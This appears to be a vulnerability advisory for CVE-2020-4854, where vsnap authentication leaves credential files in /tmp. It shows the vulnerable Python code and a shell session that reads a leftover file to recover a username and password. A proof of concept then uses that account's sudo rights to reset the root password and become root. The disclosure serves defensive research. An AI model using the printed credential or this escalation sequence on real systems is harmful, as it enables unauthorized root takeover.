CVE-2020-4854: Static Credential Vulnerability
When authenticating to the vsnap API, the username and password are written to a temporary file in the /tmp directory with the filename format of vsnap-<pid>-<unix-time>-<uuid>-in.txt:
def check_password(username, password):
code, _ = system.run_shell_command(('%s/python3 -m simplepam' % const.VENV_BIN_DIR), use_sudo=True, cmd_input=[username, password], ignore_error=True, log_error_as=(logging.ERROR))
if code != 0:
raise errors.AuthenticationError()
[...]
[...]
def run_shell_command(command, cmd_input=None, use_sudo=False, sudo_user='root', sudo_login=False, timeout=480, ignore_error=False, log_error_as=logging.WARN, log_cmd_as=logging.DEBUG, output_to_file=False, mask_text=[], strip_lines=True, env=None, kill_on_timeout=True, progressfn=None):
timed_out = False
aborted = False
uid = uuid.uuid4().hex
outfile_name = '/tmp/vsnap-%s-%s-%s-out.txt' % (os.getpid(), int(time.time()), uid)
outfile = open(outfile_name, 'w')
outfile.flush()
if cmd_input is not None:
infile_name = '/tmp/vsnap-%s-%s-%s-in.txt' % (os.getpid(), int(time.time()), uid)
infile = open(infile_name, 'w')
for line in cmd_input:
infile.write(line + '\n')
[...]
The authentication program (i.e., the simplepam python module) uses the tmp file containing the user name and password as standard input to perform authentication inside vsnap.linux.system.run_shell_command():
[...]
logger.log(log_cmd_as, 'Executing command: ' + log_command_full)
proc = subprocess.Popen(command, stdin=infile, stdout=outfile, stderr=(subprocess.STDOUT), shell=True, env=env)
[...]
After authentication, the tmp file is supposed to be deleted. Code like the following appears in multiple places inside vsnap.linux.system. run_shell_command():
if infile:
infile.close()
os.remove(infile_name)
However, for some reason, the tmp file is not deleted for some authentication runs, exposing the password for the vsnap user:
[[email protected] ~]$ ls -l /tmp/vsnap-*-in.txt
-rw-r--r--. 1 root root 19 Sep 30 22:37 /tmp/vsnap-6738-1601519840-e5c27e43db9440d1bce84d0297adac2d-in.txt
-rw-r--r--. 1 root root 19 Oct 1 05:58 /tmp/vsnap-7139-1601546293-17e3855a3f044e45bf588b15cc0ef38b-in.txt
-rw-r--r--. 1 root root 19 Oct 1 12:53 /tmp/vsnap-7140-1601571193-c63808a4e4384f99a0c0ff112dfb9139-in.txt
-rw-r--r--. 1 root root 19 Oct 1 12:53 /tmp/vsnap-7154-1601571193-24c31d8d33bd439cb2612c7d4746305b-in.txt
[[email protected] ~]$
[[email protected] ~]$ cat /tmp/vsnap-7154-1601571193-24c31d8d33bd439cb2612c7d4746305b-in.txt
vsnap
YKojGy3mBmRh
An unauthenticated, remote attacker can use the static credential to SSH into the SPP host as vsnap and then switch to root because the vsnap user has sudo privileges to change the root password:
Proof of Concept
[[email protected] ~]$ id
uid=991(vsnap) gid=987(vsnap) groups=987(vsnap) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[[email protected] ~]$
[[email protected] ~]$ sudo -l
Matching Defaults entries for vsnap on spp:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, !requiretty, secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin, env_keep+=VS_OFFLOAD_ROOTDIR,
env_keep+=VS_OFFLOAD_POOL, env_keep+=VS_OFFLOAD_DEVICE_PATH, env_keep+=VS_OFFLOAD_POOLCACHE, env_keep+=VS_OFFLOAD_STAGE, env_keep+=VS_OFFLOAD_SESSID
User vsnap may run the following commands on spp:
(root) NOPASSWD: /opt/vsnap/venv/bin/python3 /opt/vsnap/lib/vsnap/cli/*
(ALL) NOPASSWD: /usr/bin/mkdir, /usr/bin/rmdir, /usr/bin/chown, /usr/bin/chmod, /usr/bin/id, /usr/bin/cp, /usr/bin/rm, /usr/bin/kill,
/usr/bin/systemctl, /usr/bin/readlink, /usr/bin/stat, /usr/sbin/fuser, /usr/bin/truncate, /usr/bin/tee, /bin/iostat, /usr/bin/df, /usr/bin/find,
/usr/bin/cat, /usr/bin/mv, /usr/bin/gzip, /usr/bin/gunzip, /usr/bin/ln, /usr/bin/du, /usr/bin/tar, /usr/bin/mount, /usr/bin/umount, /usr/sbin/mkfs,
/usr/bin/lsblk, /usr/bin/star, /usr/bin/file, /usr/bin/ps, /usr/bin/grep, /usr/sbin/useradd, /usr/sbin/userdel, /usr/sbin/usermod, /usr/bin/passwd,
/usr/bin/smbpasswd, /usr/bin/net, /usr/bin, /usr/bin/yum, /usr/sbin/modprobe, /usr/sbin/parted, /usr/bin/dd, /usr/bin/rescan-scsi-bus.sh,
/usr/sbin/blkid, /usr/sbin/pvs, /usr/sbin/gdisk, /lib/udev/scsi_id, /usr/sbin/wipefs, /usr/sbin/partprobe, /sbin/cryptsetup, /usr/sbin/zpool,
/usr/sbin/zfs, /usr/sbin/zdb, /usr/bin/vsnap_targetcli /usr/bin/vsnap_targetctl, /opt/vsnap/venv/bin/python3 -m simplepam, /usr/bin/mongoimport,
/opt/vsnap/bin/logcollect, /opt/vsnap/bin/logcollect_v2, /opt/vsnap/bin/restore_config, /usr/bin/update-ca-trust, /opt/vsnap/bin/blockmaputil,
/opt/vsnap/bin/offload_hook, /opt/vsnap/bin/tar
[[email protected] ~]$
[[email protected] ~]$ sudo passwd root
Changing password for user root.
New password:
BAD PASSWORD: The password contains less than 1 non-alphanumeric characters
Retype new password:
passwd: all authentication tokens updated successfully.
[[email protected] ~]$
[[email protected] ~]$ su - root
Password:
Last login: Thu Oct 8 14:58:32 EDT 2020 on pts/0
[[email protected] ~]#
